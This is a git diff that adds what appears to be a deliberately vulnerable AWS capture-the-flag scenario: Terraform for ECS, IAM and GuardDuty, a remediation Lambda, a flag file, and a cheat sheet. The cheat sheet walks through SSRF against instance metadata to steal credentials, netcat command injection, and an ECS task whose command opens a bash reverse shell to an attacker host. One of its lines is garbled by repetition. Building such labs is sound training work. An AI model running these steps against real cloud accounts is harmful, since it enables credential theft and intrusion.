z)*l+vO56L;FV2O=AqbLlO^>^#d1BB8AtahmjH9Zc>-a!_>I^qw#3iO^;<4%4)I={N z=s3SF)pIdOBj8`9qQS@Pn#qBv#Y5r3VjcdaRk$XMoXT@_;(=a7o&g-4f{qCc{uGe_ zDgaVEB9I>LW6=$giI@1XeGYPCI|U zTm0}+M9Lm!rAMtP0uf_VL-%lsDd@wF=?N|~Tp{q{pP+))flR!#rDvpNac?wgL_84-f*}m}d!*4DQKpgbVo`F(7 zT~%51&x@xgKpH2WX7jaRn%z13bB1MM+VZfpo@APAM2p$}{)1__7VnJIBn1cp6zv$F z@-Z??JrgYPir-r%wvp>&GJD#h>P<@qG9NX)bUs6Lad=lX6;?7Bx_`i% z9cBPORDd}wHUVnWRupMSn^aq;5(?O_0Wh2+Ok&S8*Zyh4OihO85wNPSw^pEs=8kw? z{xX#iKGbz)gMHP&wUFa9@vTm7>G)X(7FVtZ&)SH2DxIu{$4@+%4h&x{+q)4ftkHyf zA?W`-Iv6wNmRCQ(uQk#Rs%byCL;|bTGwmTeyWHElB8MGJq}ePcJ=WYr`l>!pIMQgr z7-PO##rRpO%=d1^(X-Ygi?vo(^IG6c@0t0yuDO=rmBIUWM=Q)kBf``3lp3BIS%LGZ zt@pIc3g{B{5^ts>jrdMHLPX#$yn9SH=XEd;o7z>D{&Y#IZtLguinD7vdGEzvyMM>j!(@)JV+|ipyGLPFJ~fGsaJInhy+7Q`0cSi( zH>R89JoDT;O+~DwFROoyr?G~u?6=;Fl!8p3N07R3TY6D$%Xv9c*p^5{%SBc4NKB4n zjeI9*qlI4H#0rAxX@Kd0+@lj!Aah^*-bUTfOJgAE;&tQ+qD6qxY2Sv~O(?8NDdOa~ zZfHU@Q{=50=%MHGy~FlQZzSkt_bxJ+C5hUddW3ih%Eel{fJI`d=0KL4_`X$kVhO|! zHgiJ7AooET&P_Fg;CnNsb?euhbyee%;CEjhRnJdl*H0#JL>|$&{p>tUC9Nx<^n0jP z*;DMXe%;W3Hs!s9!yt-iy+n{Ct=iQ&IbN!N|( zHnP+!dM!$J!gtG7mx!Ncu6ik=wDN>7jF}!LHC}2b%6_t@>~}TW+8?bMb&RVV9G=^o zcIlGKdz38ViOYE6GojoQdqV&VJ`$*4I$-$}nkfBRllSRU?J zxyAQLqx2DApEWOFRzD6Q`8wjM@ec?%ZcYi!OFw6#+Ms?0q4Jl_8{Tbwkw{lybk!sd z1Y6`1t3{q}aIe*AeL5{mc2D0O`#F*zZvcOoKHQb9VgCQL_vPVG@BQCQLt`I% zSt?6XVGPL{SyHlRJ1SdBmM}~VQMPO)BO(c9$(F5@T|>etB1@4YOVrq(_tZJv=iK*w zJ=gDguIu^dxt{*|_BG$nzPz{B>m5!G;S5)wwVTdn)*L=W*)0APJUQ}U_5hV%WGX6t zBfh7PSi|?`q4Tn2mhI5kJcI}wC!al}M@f>*N@OUNmm!U1t%K>Ldd2vQOKn zSP?ldb_d{kie8sUJI&TJW`mCIygWiAf>*j!EV$P0@`tNL!6aJ8wQ@lB7b|o2@J9l= zz`l^6N?%}JVtT4&Wz6v|iY$d2R-Q?jA?o3W>1jK76UU)jK1NdSg>TR8AvUyi}g0 zGP@8Qlv?)(qmn(Q@Lzph@LvlrHkBS~?Y8rv_RFs3omp``e19MH6kn{x*S>zuX<3qO zwn(f@tg+QfE;pM$FTfhI1P(IsfD5ouH(n3>8;2-FeO2-Zo=&s%`$VW5OInX!b=9FM zV&;|R)5tomMzp+xFS%m$eVR(siB^)0H;kvznQHf)F+JN<<*vNGer@fU1n?qR-olCj z|J^PFcg=gs=iwvVCiYvsXKtcOvDJ8coCoad|Q; z@@`sGz*a?w#oQ2kZ zrazMdtqU9iiE(>29~#Ui>D^bUoMtH8GPlETkb4Jj?(0811SuzmZgq>e#2L` z2n*SqO1CQnzA*Vk&*Hk32eLNR<{niO$;mFT%c=KVTLyj2%=s$vG*g5Zd)t8DBI=NT zf*MPj(glU{M3^F`lh(U|!O%}e_qBNCt_zu|UugY#9D~Knv_OpSik&Oh=b7K`FBKub z7rYN~Z&Yg?sn5g)XUG_geQjTTsZz(i{@uoJNZCufEYL1I@NEOfLb=QCL6;Ywz_3Be z6JE=cNeb^uKD;uS9giERy5L&o-L27MHKspiB9$3pwUS)JZ&Jhawxc_V|NdPaFxO~S z<$z69g74eqash3y(jf2K6aWdT+s%_NikrogY8dS?f4v1XFQ$M7BC(GOgCSxi`4&U@ z*_-&!k`9+GQ~vle70(UwU%_LqD_NF>M2 zZ+*NqQHwKi;4SuVc*uLPz2f=1iT`Fvvv9V08}RDymb9L}$DjFLH*Z<}36-=sdc1mt z4i}FA@W@=i=N^kVR%Ze-yE; zz_frk^^^pjRJFiMi%*^_pY2O}n)@dIJ=jXMhi4uE1IuUg^z>W;mM4)CKlPrJU%wnH zOQS}bvLqQUh&>uF?{^woecxl!XWFvR?y-1*|X?qwi z=KMBrSca#%8lade{L0MlR#u#zdxprI1vo*PqH9SL`jPFa$Xo+1DE+6kc;%o2yH;QC zyH|Fx#5+5yG*bfmAFB3+oN{y%k=`Y7A(0YuQL(o=QY6`EbJ4hD3`_+LAD&aVlJMUj zIVgO&eZi^CZsT4@<%;`$Ri+1KQqQATX8(chq$IvDJHdvmhW-s!dMh}$@pg+9jY-)) ziQ`KlU`46ii414yT)a5U2uC9B0l^Rlcxh4&^J93o1J1okX%AKzEJ&D)N5q^^c*nGkU(_|a9o1(y}VHtXeTCY zQ~`yj1VM8qUMC6NGXN8sys-~7omCr3z&=JP^FuAxkIbZ@Bm{hk+Ktv~fuG|Fw9cVJ z@wxDrHY)KI13gW`Yd>IMM3uoAP2H(tY5^Br)(T2F5i~ zo4)Z29x#iFBVRZ}Nz2fSw!B@+`YF&;n>*voj3{0*lz?~Sc9(}*s_gSjpd=)Gi8jYZ z#6jx`Cn5*13`9eCRCrK z=yVA@+`M@wS_Z&tkuXjHWk0wwAp;AS{+74(r-~W!@D*v;-Gu9r~ z+#`&*8qA0^!kxA2z!y9D6c-$beAbV!>dF_)1Mr6m67Y`^@e3XhC)Z_D&9 z{V{;s%DFxCB<1fLHf`UTh{eT4q|h!0zN;|f()!#|NFVHf1*vIs#+x`{{>||unZD~3 z#IPjfSZ^Vw!>lT?qwpg(NV;?Ib)Ip`{8)4Q!bJN%W~Osu|G{F#dXkOM1$<&SPbO&* z1S5tH#W&12Xt7Q9B--AW)XVx;$P1mqs!)8)3Z+f20SPrA5!Fr9{{lz5RJIMMmq&B= z0`VAdO&_~`;P|E4_njE60n>8c40$zRPtkeeG1TVrGP%WjpCoZVED(0|$$vS0D5eU3 zf%fj(sd^L+ zIGsDh%?klR{2;fowyr~bKrmqoQeP`nGe^m^?;+}EU6Fb%VY~ea6bh8ey4(8Mqiz+P zwEUT>A4B?R(4-vTzxUHezX2x4-c^?qEzJRa=+SNU(W<)l$H|$!EIYJ}G|{L`nEs$x zS?;^VS8bJFJ7ON>A1aSvs8^C1fY@t3-l3DuKYh9;k_dKDpvP8|nmAFaSpHnxH$w3q zo`Qx2aWyV~2HRb6-uI>vS?~VCMf2^5sr8;g@O4^Wd}FcDYi67gHgH;E{v!W^k)SN(*?(97nIy?rti7cf&p02kB}nqPf)j-a zH)Sk!`X}utV@L+s;p5=flj67b(oE{wyf+gfvUzo8GdhHh3tYGuUMjp87!Yumv7e)3 z#V6cTsgfcNS4Ms#4LMlV@!rucp68C+` z&rZp0wVlIQeL3gpVvj+0vBzdg&54&BNgfY2AC`6{0K-f0NPn&H-nQ_E5B$>K}3Uy5qJL=OxFOcx&C-c{La~t5sw9lJbPJX=Bfs5Qbrp z@s*^f8HzXic3s>-$^;A}(QbL=>}gl7MbCreS80k;Z>2_pon=Tl?ZREUZadR6gVi_Y zZyep+TzqYO)L-Q-=yQIPCQ@O|@iv9|%k!Or4#9*-0DK)xqsJ|HJYhZ}Zxkd7_aIHM}A z51%_|+a3(s;CP!%aT1+SN={DJyxYg-j)T$uCL=UgyK&jI6;&>`Mys_Iep_BWP) zSom_bp>?m)m+A}g$=4h!?Wz2o85FYadJKBMQQh_2=xbx{sVjQ7pW;V!teWOUCv zUJnPd2J0?iO)ac2Vun)`;!tzntanDu+jY5%1ErNk72p}1elKy}a>Mv@Xn{z^mAUT- zrIm@ocEM^e3!3%DlHG-R#U~^5*TwyjJ&u^|#R0~9DpzQwqHXuz?{9>=hj!HXSXu zWJP>f{*)>WgTEDj7mlAC8y3YWeQvgPm!)<*!PQrKU^1B^^Ys8 zTnh84Y6G#$z}S5YBM&1pH&5LNPqybAhKV2hD|diBy7k5tDSe&cV?K1I10IQNPbuk? z0(NjTFXrq=@8z~f@B6@}zHfzj&v7qC$6uKPnB&(5{O&p}&LAgzZW8~`2Ah5#mjr(I zpyTX!iC`j+QYtDe=`@xQTEVsFfG8{I6u6VWq1X`_Qgjy0Q$KkrtG-?}bIkpF(6Eyg zXIjcNIF0|Dm%riGbAxoZ?<7`T_|yjSq%&L>ADE76H-boul;I$1QojDk1M(wWIP2@A zqFlF}^0}dEi-3Rt1-WY-?ex9>V~9JDF0by$0nr{kPWXbY6PlR_o+Ld>%an&!<-21- z$#?hCFTD6@JdUc0_?K4N#iy^AhW?jUnnsli$psJlSwjvSRpCErfZWpTH(36ma@NKO zDevB-kSSjD3KC;Ne^l@vBtRL@hkf+i*`J($Cn>!D969-#OV{mIj8;3Z-U!eKQFnqs z8iDjx9IFO?We6iKIn&Ik>NUd9gpi;DxB-HJ5_g&9wty5ikRx#a*b!E?L=*9HG9LoY zT?S9AA)i#*%{Ulf(p^&tP*v!nxWX}O3mdxp?{3^lm;XWSQDJ0I0={fY6i6yJK>(-U z`G;}vTY`x-C_PDZ)g>t1G}{-Bnw|+g4^TLWaQ(1~Z_D~f0R4>Z66;k4BmtBilqQoS zDh;OJ=^`0am6jxUG<)h~i-2k{WL-Y!&Nuk-?U>Gk&!C@~A3f{NN>6=bk8#7G-5^{7 z&qicG?gpjLOfC=v8;4YXA0IpPJ7}Yl!Tzm^18BwPPou<{D1I5 zNhDBq&|$1iXa)Fr%V)GO5*xP*9&<0ZK1ISrNTB0)Lnmk8%d+NJ^Ec4z``7z=L7gST zE2{YaSB(EdF&6wEX^763O^&0K=(@fRxn7F_aSuoL+Wt>ikb8PlqVWws9DBL}pah#B zeP7y7wB1|)Vu2$O_}J%vr#rd&fUS{$Jqyd?AxokL7yx(~m6=>`dq+H7{&;JPcZN^f zt_6VjD_%nQP&+e#a>@0 z8=~X6Rgr}FR@7p2%l`OAVdi#M3hXL4ARz+cW4zOUPGa<2a@(5r;iGO9d z8S_+OgKz5e`^bILj>1!XQ|bK@*%ddEMT$1F;81!%F2{bn4LjLqTj(ebElRv$w37PA z?P@b8O>#H4nE^7H95Zy_L~z~2Cpn2RN0c-uQZtZk>HslReqT_ zP)A*2O5Uk|*Hx;3s5dEozAX$iN#Dd#Dal|$aK)-05SkTP7<^cYW*1b{4t}!add}q> z%Xa=V7`H9x&;|w~6B~ca!p4M;(+lqVNihv0RpHL>ss1HS^9c!WVm>?R!Pz2Vvk-xA zL}`PnIK!J}{iuPZLY3GldgfE9N|vg0(HwNdjq68Y4$mX?HopWX3$+bM1{{gFF1S1L zyNLXmnfqosu=53p5~oqT@eLHsaP8~c_W3v-)5cGzMK?s9^ga%TCA=2cs+i#%(tj@i z#{~a@_0JBFq(T2WTAFU1a=2%(?SLdsP^u{4Q{?mGAMdzvLY>~Q4ii+E3<<4F$La$* zAQ3~-cAUvcc>7F0Mb_)bS^MH=uCB`}P)h4*CdsUEM4p|R%YQA~@u&X0H_@buuI$|& z?_&ilx&&;CBr<~{iv*_hgvGx%j%aA~%#qvQLi-DMyaS`?TPab?s1~#4Gd0@UJGtZI zn>SBys*Ta=XL;kV3chK4k+qze=>y_Q5;0i=LK~Nrb0g5YhFHbKN7I$6R9z2D{GBG; z#g7D)y>?dyrQPz~S$C>$YKp6Xq6(VYI}h335g98NU0Cqe=@3uK59BM6PbCrB zbg1Z-2)rcVtQy{Fj|*|D+Gu<5#n)Un9;<0Q9@01+I>|h&+Prm*_PrnUts(QL^`v={ ziq|y5Y@2^c7lCApNIF(#xd$;9(ZW?>Y} z^ibkraZ!46Dr;4H2Vd6HD6?EIH$tsEciYu}&zn*1ygSCfs)$&s^CaEt!)TY%7H5M` ztqfNOjer)$?w)*GkNoO7uq7&=DEf?orFL|$844M#2|fXnvo?11H6Li~VUE9Dlx!4n zn|4@gpHtE6TeaZb%6FjVaM2rpq*5dLIiPce*oYinvOOLgBy;8*%#X-W zj)@2)h;I05Rgi=3Ky*RjX3{=eLxP~iy<=#%MDX@xbso@7=4RY4?}B{t^moUfws3qq zoCS{V`;M9~N&0b~Nyk*JtaFrWV4_<3A`-kjZG^I7SsfIV97%qAi) zd}mE`O^=nX5mo|a_SiiGi@r6^u~D3tAQ?u&yTX}t@VRP*DcGB{_P95ulJ4$4I*4uw zZD5hi>hs?^ew&$zRvksqyW14b|f} z!Y=JOC}cBMO*_rHo`Rj4?{*al$&aslhw%}1ItQculFn78pJ#%UJs@=FGlXWC!}OT`cw6Gt*{PiB_gFFp|bCb08S z;Q7bNcRh`62dSd0nO(*lc?!zi%YG#tw;7(kuuJes-5hvLj0l^C_1kwVO|%^G1=DPAzEOIzi)HHuSNK}cjo#OqBS+L#_(SGX7w zTYP2Jb?@y@f{Z&%t|W46P+J9=Yr8gY9TLF>duRoreI+$H!Z}G_f+BU!eg%e}>6VW< zdHed_@gFZ>VP1!QG@=cpcS7CR;wZ5Y%=Y=ward*85js=8T3{pWA9K52KFD!}UdFaGSbj0lK z6o;UrjXkcLDMdh(z9s7;zuo@1t+lisEwOPrv3OFv`7_#{H5$8Nwv@t}1j~-zD~WR? zGEK^;PbM;rl%wx$BMjT%JYI|i*`{xAZyZ+NH_J6%ty%Q`4k<^nakwVV$vABFO_4C} zVrMO6e%h?2eS9GNQDq%LXe4J4Pv}Ml_3!0hLZywq6`(& zjx%wAyIP^3T`W$*QY8^?e1%5+T(q<#vBQY4?{Sipy9?OZoFm=C^d`}6(L_8qY{qCx z0#3&;jL}v(@lWe2-sp!M0J`@NIe?z2DM1X$N>^e|P9-owHnW#e1$5cMjU9xBLn_EC zW247IljxqevK|+UeTIY+PObb1Ch-Qk=kBb8lOaK-tn!2i8FH~n*9*I`g1$xfeJw3c%90DRM49=J@D8x%SY>QV8uqcY9`Js1$RMsmoGJtvM334J%sKSbL$W)hq5e^d zrPE|;me1w-y5=-4WCFMS4?!jjFM$d=*VF9usU$-*QReuNyM<3_%fRxPiBG44Z3_d; zPV)d`C5uQD&O{yo8Ij^9*4rmqqQxd22$aV+UfA0HH0!HV>!<`Z6z>TAZ@OQJModW2 zJtWIbO~x&=mo~3UL@Kln$tXB=pqGE|%hUs2lr(o88wE+=(-heIyB5U_S#;}4#!s12 z=hg0yX3Pki(&}+G8@srzC)7+LKAS{x!c_U9_aD)OjB9smSJ1wJ>}>3q9M1y5hRxLL1F8$J1ZLfa{2Pjb+YR+mx91>Q=#(8IHfuPBBDB;#-iuQy=~*bhB%Yx&{LUOSJfq&FZo23h#S}wIr7|LrC^VM3%U;~~+it!e|0Dmu{|8(A X^o_Av^=AtV@K5i^G3_FPec1m3DpVN> literal 0 HcmV?d00001 diff --git a/scenarios/ecs_privesc_evade_protection/assets/flag.txt b/scenarios/ecs_privesc_evade_protection/assets/flag.txt new file mode 100644 index 00000000..f3a8250c --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/flag.txt @@ -0,0 +1 @@ +cg-secret-bob12-gC9!+Xy#QJ37fa@H3D7Kd@2*a&#+Tp% \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/assets/index.py b/scenarios/ecs_privesc_evade_protection/assets/index.py new file mode 100644 index 00000000..71692727 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/assets/index.py @@ -0,0 +1,150 @@ +import json +import boto3 +import os + + +def lambda_handler(event, context): + print("Event:", event) + + # Get information from environment variables + user_email = os.environ['USER_EMAIL'] + iam_role_1 = os.environ['IAM_ROLE_1'] + iam_role_2 = os.environ['IAM_ROLE_2'] + instance_profile_1 = os.environ['INSTANCE_PROFILE_1'] + instance_profile_2 = os.environ['INSTANCE_PROFILE_2'] + detector_id = os.environ['GUARDDUTY_DETECTOR_ID'] + account_id = os.environ['ACCOUNT_ID'] + + # Extract the EC2 instance ID and the current assigned role name from the event + instance_id = event['detail']['resource']['instanceDetails']['instanceId'] + current_role_name = event['detail']['resource']['accessKeyDetails']['userName'] + + # Create boto3 clients + iam = boto3.client('iam') + ec2_client = boto3.client('ec2') + ses = boto3.client('ses') + guardduty = boto3.client('guardduty') + + # Determine the new role to be assigned + if current_role_name == iam_role_1: + new_role = iam_role_2 + new_profile = instance_profile_2 + old_role = iam_role_1 + elif current_role_name == iam_role_2: + new_role = iam_role_1 + new_profile = instance_profile_1 + old_role = iam_role_2 + else: + print("Current role does not match any in the env variables.") + return + + try: + # Copy IAM policies + copy_role_policies(iam, old_role, new_role) + + # Change the role + response = ec2_client.replace_iam_instance_profile_association( + IamInstanceProfile={ + 'Arn': f'arn:aws:iam::{account_id}:instance-profile/{new_profile}', + 'Name': new_role + }, + AssociationId=get_association_id(ec2_client, instance_id) + ) + print("Role has been successfully changed.\n" + str(response)) + + # Detach policies from the old role + detach_role_policies(iam, old_role) + except Exception as e: + print("Error occurred while changing the role.\n" + str(e)) + return + + # Send an email + subject = "GuardDuty Alert: Unauthorized Access" + body_text = "GuardDuty has detected unauthorized access. \n\n" + json.dumps(event, indent=4) + ses.send_email( + Source=user_email, + Destination={'ToAddresses': [user_email]}, + Message={ + 'Subject': {'Data': subject}, + 'Body': {'Text': {'Data': body_text}} + } + ) + print("Email sent successfully.") + + # Update the status of Findings + try: + # Dynamically retrieve findings + findings = guardduty.list_findings(DetectorId=detector_id, MaxResults=10) + findings_ids = findings.get('FindingIds', []) + + print("Findings: " + str(findings)) + print("Findings IDs: " + str(findings_ids)) + + # Update the status of findings that meet the condition + if findings_ids: + guardduty.update_findings_feedback( + DetectorId=detector_id, + FindingIds=findings_ids, + Feedback='USEFUL' + ) + print("Findings status successfully updated.") + except Exception as e: + print("Failed to update findings status:", str(e)) + + return { + 'statusCode': 200, + 'body': 'Processed successfully!' + } + + +def get_association_id(ec2_client, instance_id): + # Function to get the current IAM instance profile association ID for the instance + response = ec2_client.describe_iam_instance_profile_associations( + Filters=[{'Name': 'instance-id', 'Values': [instance_id]}]) + associations = response.get('IamInstanceProfileAssociations', []) + for association in associations: + if association['State'] in ['associated', 'associating']: + return association['AssociationId'] + return None + + +def copy_role_policies(iam, source_role, destination_role): + # Copy managed policies + managed_policies = iam.list_attached_role_policies(RoleName=source_role)['AttachedPolicies'] + for policy in managed_policies: + iam.attach_role_policy( + RoleName=destination_role, + PolicyArn=policy['PolicyArn'] + ) + + # Copy inline policies + inline_policies = iam.list_role_policies(RoleName=source_role)['PolicyNames'] + for policy_name in inline_policies: + policy_document = iam.get_role_policy(RoleName=source_role, PolicyName=policy_name)['PolicyDocument'] + iam.put_role_policy( + RoleName=destination_role, + PolicyName=policy_name, + PolicyDocument=json.dumps(policy_document) + ) + + print(f"Policies from {source_role} have been copied to {destination_role}.") + + +def detach_role_policies(iam, role_name): + # Detach managed policies + managed_policies = iam.list_attached_role_policies(RoleName=role_name)['AttachedPolicies'] + for policy in managed_policies: + iam.detach_role_policy( + RoleName=role_name, + PolicyArn=policy['PolicyArn'] + ) + + # Remove inline policies + inline_policies = iam.list_role_policies(RoleName=role_name)['PolicyNames'] + for policy_name in inline_policies: + iam.delete_role_policy( + RoleName=role_name, + PolicyName=policy_name + ) + + print(f"All policies have been detached from {role_name}.") diff --git a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md new file mode 100644 index 00000000..921f1400 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md @@ -0,0 +1,67 @@ + +Go to `http://` + +### SSRF + +``` +http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ +aws configure --profile attacker +echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials +``` + +### Command Injection + +- prepare another host for revshell attack with `nc -lvp 4000` +- command injection on web with `; nc 4000 -e /bin/sh &` + +### For more information + +- more information about iam + +``` +aws sts get-caller-identity +aws iam get-role --role-name +aws iam list-attached-role-policies --role-name +aws iam list-role-policies --role-name +aws iam get-role-policy --role-name --policy-name +aws iam list-roles +``` + +- more information about ecs + +``` +`aws ecs list-clusters` +`aws ecs describe-clusters --clusters ` +`aws ecs list-container-instances --cluster arn:aws:ecs:us-east-1::cluster/` +``` + +### ECS Privesc + +* Attacker prepare revshell at other public ip point with `nc -lvp 4000`. + +* And now come back to CLI. + +``` +# ECS Task definition with revshell command. +aws ecs register-task-definition --family iam_exfiltration --task-role-arn arn:aws:iam:::role/ --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp//4000 0>&1\\\"\"]}]" + +# For run-task, find available subnets. +aws ec2 describe-subnets + +# Run task. +aws ecs run-task --task-definition iam_exfiltration --cluster arn:aws:ecs:us-east-1::cluster/ --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"\"]}}" +``` +After a few minutes, the revshell will be connected by container. +Let's do it on revshell. + +### Access S3 + +``` +apt-get update +apt-get install awscli + +aws s3 ls +aws s3 ls s3:/// +aws s3 cp s3:///flag.txt . +cat flag.txt +``` \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf new file mode 100644 index 00000000..54f761db --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudtrail.tf @@ -0,0 +1,6 @@ +# Using CloudTrail for GuardDuty +resource "aws_cloudtrail" "cloudtrail" { + name = "cg-cloudtrail-${var.cgid}" + s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id + enable_logging = true +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf new file mode 100644 index 00000000..aa380010 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf @@ -0,0 +1,25 @@ +# Define a CloudWatch Event Rule to capture AWS GuardDuty findings +resource "aws_cloudwatch_event_rule" "guardduty_events" { + name = "cg-guardduty-events-${var.cgid}" + event_pattern = jsonencode({ + "source" : ["aws.guardduty"], + "detail-type" : ["GuardDuty Finding"], + "detail": { + "type": [ + "UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS", + ] + } + }) +} + +# Create a target for the CloudWatch Event Rule to invoke a Lambda function +resource "aws_cloudwatch_event_target" "ecs_event_target" { + rule = aws_cloudwatch_event_rule.guardduty_events.name + arn = aws_lambda_function.guardduty_lambda.arn +} + +# Enable AWS GuardDuty for threat detection and continuous monitoring +# Note : The GuardDuty in the user account must be completely disabled to function normally. +resource "aws_guardduty_detector" "detector" { + enable = true +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf new file mode 100644 index 00000000..ab2b80a3 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -0,0 +1,193 @@ +# Creating an ECS Cluster. +resource "aws_ecs_cluster" "cluster" { + name = "cg-cluster-${var.cgid}" +} + +# Setting up capacity providers for the ECS Cluster +# In consideration of the performance issues caused by EC2 created as t2.micro, we also added FARGATE for smooth scenario solving. +resource "aws_ecs_cluster_capacity_providers" "providers" { + cluster_name = aws_ecs_cluster.cluster.name + + capacity_providers = [ + "FARGATE", + "FARGATE_SPOT", + aws_ecs_capacity_provider.capacity_provider.name + ] +} + +# Defining an ECS capacity provider using an Auto Scaling group. +# ASG would have only one instance. +resource "aws_ecs_capacity_provider" "capacity_provider" { + name = "cg-provider-${var.cgid}" + + auto_scaling_group_provider { + auto_scaling_group_arn = aws_autoscaling_group.asg.arn + managed_termination_protection = "DISABLED" + + managed_scaling { + status = "ENABLED" + maximum_scaling_step_size = 1 + minimum_scaling_step_size = 1 + target_capacity = 50 + } + } +} + +# Defining an ECS capacity provider using an Auto Scaling group. +# ASG would have only one instance. +resource "aws_autoscaling_group" "asg" { + name = "cg-asg-${var.cgid}" + + desired_capacity = 1 + max_size = 1 + min_size = 1 + vpc_zone_identifier = data.aws_subnets.all_subnets.ids + + tag { + key = "Name" + value = "cg-ec2-instance-${var.cgid}" + propagate_at_launch = true + } + + launch_template { + id = aws_launch_template.template.id + version = "$Latest" + } + + lifecycle { + create_before_destroy = true + } +} + +# Define EC2 launch template for ASG. +# ami : Amazon Linux 2 for ECS +# instance type : t2.micro +# security_group : allow http (whitelists apply), and all outbound. +# allow IMDSv1 +resource "aws_launch_template" "template" { + name = "cg-launch-template-${var.cgid}" + image_id = data.aws_ami.latest_amazon_linux.id + instance_type = "t2.micro" + + iam_instance_profile { + name = aws_iam_instance_profile.profile.name + } + + network_interfaces { + associate_public_ip_address = true + security_groups = [aws_security_group.allow_http.id] + } + + metadata_options { + http_tokens = "optional" + } + + user_data = base64encode( + <> /etc/ecs/ecs.config; +EOF + ) +} + +# IAM Role for EC2 instance +resource "aws_iam_instance_profile" "profile" { + name = "cg-ec2-role-${var.cgid}" + role = aws_iam_role.ec2_role.name +} + +# Security Group for EC2 +# Allow http from whitelist IP. +# Allow All outbound. +resource "aws_security_group" "allow_http" { + name = "cg-group-${var.cgid}" + description = "Allow inbound traffic on port 80 from whitelist IP" + + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = var.cg_whitelist + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "allow_http" + } +} + +# Define ECS Service as vulnerable web. +# Web will be launch on container in EC2. +resource "aws_ecs_service" "ssrf_web_service" { + name = "cg-service-${var.cgid}" + cluster = aws_ecs_cluster.cluster.id + task_definition = aws_ecs_task_definition.web_task.arn + launch_type = "EC2" + desired_count = 1 +} + +# Define details for Web task. +# Bridge network for access EC2 metadata. +# Containers would be imported from my public docker repository. +# - https://hub.docker.com/repository/docker/3iuy/ssrf_ci-php-alpine/general +# - I think you might think this uncomfortable. Please let me know if you have any opinions. +resource "aws_ecs_task_definition" "web_task" { + family = "cg-task-service-ssrf-web" + network_mode = "bridge" + requires_compatibilities = ["EC2"] + cpu = "512" + memory = "512" + + container_definitions = jsonencode([{ + name = "cg-ssrf-web-${var.cgid}", + image = "3iuy/ssrf_ci-php-alpine", + + portMappings = [{ + containerPort = 80, + hostPort = 80, + }], + + healthCheck = { + command = ["CMD-SHELL", "curl -f http://localhost/ || exit 1"], + interval = 30, + timeout = 5, + retries = 3, + startPeriod = 30 + } + }]) +} + +# Get AMI of the latest version of Amazon Linux 2 for ECS. +data "aws_ami" "latest_amazon_linux" { + most_recent = true + + filter { + name = "name" + values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"] + } + + filter { + name = "virtualization-type" + values = ["hvm"] + } + + owners = ["amazon"] +} + +# EC2 is located in the default VPC. +data "aws_vpc" "default" { + default = true +} + +data "aws_subnets" "all_subnets" { + filter { + name = "vpc-id" + values = [data.aws_vpc.default.id] + } +} diff --git a/scenarios/ecs_privesc_evade_protection/terraform/iam.tf b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf new file mode 100644 index 00000000..f6d26be3 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/iam.tf @@ -0,0 +1,198 @@ +# Define IAM role for EC2 Instance. +# Assume that excessive privileges are set for this role. +# ec2_role & ec2_role_sub are twin role for renewing credentials. +# Once lambda run, ec2's role would be change to another, and credential's will be renewed. +resource "aws_iam_role" "ec2_role" { + name = "cg-web-developer-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role", + aws_iam_policy.cg_web_developer_policy.arn + ] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + "ec2.amazonaws.com", + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Define IAM role for EC2 Instance. +# Assume that excessive privileges are set for this role. +resource "aws_iam_role" "ec2_role_sub" { + name = "cg-web-developer-sub-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role", + aws_iam_policy.cg_web_developer_policy.arn + ] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + 